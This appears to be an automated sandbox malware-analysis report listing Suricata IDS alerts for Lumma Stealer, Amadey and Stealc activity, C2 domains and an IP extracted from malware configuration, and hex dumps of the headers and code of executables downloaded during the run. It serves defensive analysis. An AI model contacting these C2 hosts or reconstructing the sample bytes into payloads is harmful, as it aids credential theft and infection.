Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49956 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.8:49958 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49972 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49982 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49985 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50012 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:50021 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50056 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50065 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50072 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:50055 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50091 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50079 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50105 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:50191 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:50228 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:50216
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:50083 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:50291 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:50367
Source: Network traffic	Suricata IDS: 2800029 - Severity 1 - ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass : 31.41.244.11:80 -> 192.168.2.8:50369
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49848 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49770 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49848 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49770 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49919 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.8:49744 -> 104.121.10.34:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49828 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49978 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49978 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49972 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49828 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49985 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49985 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:50012 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:50075 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:50012 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:50079 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:49956 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49999 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49999 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:50087 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:50091 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:50098 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:50105 -> 172.67.164.37:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: drive-connect.cyou
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:02:09 GMTContent-Type: application/octet-streamContent-Length: 4488192Last-Modified: Mon, 16 Dec 2024 14:42:45 GMTConnection: keep-aliveETag: "67603c65-447c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c9 b4 5f 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e2 47 00 00 84 75 00 00 32 00 00 00 80 c8 00 00 10 00 00 00 00 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c8 00 00 04 00 00 f3 cf 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f f0 72 00 73 00 00 00 00 e0 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 62 c8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 62 c8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 72 00 00 10 00 00 00 2a 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 e0 72 00 00 02 00 00 00 3a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 72 00 00 02 00 00 00 3c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 39 00 00 00 73 00 00 02 00 00 00 3e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6c 71 76 78 71 72 63 00 20 1c 00 00 50 ac 00 00 16 1c 00 00 40 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 65 70 74 73 66 65 6e 00 10 00 00 00 70 c8 00 00 04 00 00 00 56 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 c8 00 00 22 00 00 00 5a 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:02:21 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:02:34 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:02:40 GMTContent-Type: application/octet-streamContent-Length: 56832Last-Modified: Sat, 14 Dec 2024 17:59:34 GMTConnection: keep-aliveETag: "675dc786-de00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ed 70 5d 67 00 00 00 00 00 00 00 00 e0 00 2e 01 0b 01 30 00 00 d4 00 00 00 da 00 00 00 00 00 00 66 f2 00 00 00 20 00 00 00 00 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 0c f2 00 00 57 00 00 00 00 20 01 00 88 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6c d2 00 00 00 20 00 00 00 d4 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 01 00 00 02 00 00 00 d6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 88 05 00 00 00 20 01 00 00 06 00 00 00 d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 f2 00 00 00 00 00 00 48 00 00 00 02 00 05 00 88 87 00 00 84 6a 00 00 01 00 00 00 5b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 54 00 00 00 01 00 00 11 28 8a 00 00 06 20 5e 6a 02 54 20 7f a5 f4 05 61 25 0a 1a 5e 45 04 00 00 00 2a 00 00 00 02 00 00 00 16 00 00 00 dc ff ff ff 2b 28 28 f3 00 00 06 06 20 88 0b 2d 37 5a 20 01 f7 66 d5 61 2b cb 28 e7 00 00 06 06 20 ef 7c 6c 85 5a 20 05 b1 07 2a 61 2b b7 2a 13 30 0a 00 44 01 00 00 02 00 00 11 20 99 45 27 22 28 01 00 00 2b 0a 28 d6 00 00 06 28 a1 00 00 06 0b 20 0c 2f 47 eb 20 28 a3 bd dc 61 25 13 06 1d 5e 45 07 00 00 00 9e 00 00 00 c3 00 00 00 4b 00 00 00 05 00 00 00 fc 00 00 00 cf ff ff ff e0 00 00 00 38 f7 00 00 00 07 20 44 9b 9c f3 28 02 00 00 2b 17 28 ca 00 00 06 13 04 11 04 16 28 c9 00 00 06 28 84 00 00 06 a2 11 04 28 ae 00 00 06 0c 08 2d 08 20 4d 7c 2f 24 25 2b 06 20 18 5b 9d 14 25 26 11 06 20 40 10 17 cc 5a 61 2b 89 20 21 05 70 cf 28 02 00 00 2b 08 14 17 28 93 00 00 06 13 05 11 05 16 06 20 2c 4a 18 2e 28 03 00 00 2b 28 bf 00 00 06 a2 11 05 28 da 00 00 06 28 ef 00 00 06 2c 08 20 95 0b 71 d6 25 2b 06 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:02:46 GMTContent-Type: application/octet-streamContent-Length: 1809408Last-Modified: Mon, 16 Dec 2024 15:50:53 GMTConnection: keep-aliveETag: "67604c5d-1b9c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 c0 47 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 47 00 00 04 00 00 db 0c 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 29 00 00 40 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 78 65 6c 70 6a 62 65 00 20 19 00 00 90 2e 00 00 16 19 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 78 6f 74 63 77 68 62 00 10 00 00 00 b0 47 00 00 04 00 00 00 76 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 47 00 00 22 00 00 00 7a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
